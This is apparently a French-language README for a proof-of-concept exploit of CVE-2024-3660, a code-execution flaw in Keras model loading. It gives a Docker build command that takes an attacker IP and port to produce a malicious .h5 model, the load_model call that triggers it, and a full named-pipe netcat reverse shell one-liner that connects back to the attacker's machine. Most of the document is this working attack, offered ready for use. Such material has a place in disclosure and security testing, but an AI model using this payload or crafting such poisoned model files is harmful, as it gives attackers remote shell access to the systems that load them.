
Un PoC pour CVE-2024-3660. Exécution de code arbitraire dans Keras.
CVE-2024-3660 est une vulnérabilité d'exécution de code arbitraire dans le framework Keras de TensorFlow affectant les versions < 2.13.
Elle permet à un attaquant d'intégrer du code Python dans un modèle (par exemple via une couche Lambda) qui s'exécute automatiquement lors du chargement du modèle.
Lorsqu'un fichier de modèle .h5 malveillant est chargé dans un environnement vulnérable, des commandes arbitraires sont exécutées avec les mêmes permissions que le processus de chargement.
tf.keras.models.load_model("CVE20243660.h5", compile=False)
ou dans les versions plus anciennes de TensorFlow où safe_mode n'est pas activé par défaut.
Ce PoC utilise une construction basée sur Docker pour générer un modèle hack.h5 malveillant contenant une charge utile de shell inversé (reverse shell). Lorsque le modèle est chargé dans une version vulnérable de TensorFlow, il se connecte en retour à la machine de l'attaquant.
docker buildx build \
--platform linux/amd64 \
--build-arg LHOST=<YOUR-IP> \
--build-arg LPORT=<YOUR-PORT> \
-t tfimg . && \
container_id=$(docker create tfimg) && \
docker cp $container_id:/CVE20243660/CVE20243660.h5 ./CVE20243660.h5 && \
docker rm $container_id
import tensorflow as tf
model = tf.keras.models.load_model("CVE20243660.h5", compile=False)
rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f | /bin/sh -i 2>&1 | nc LHOST LPORT >/tmp/f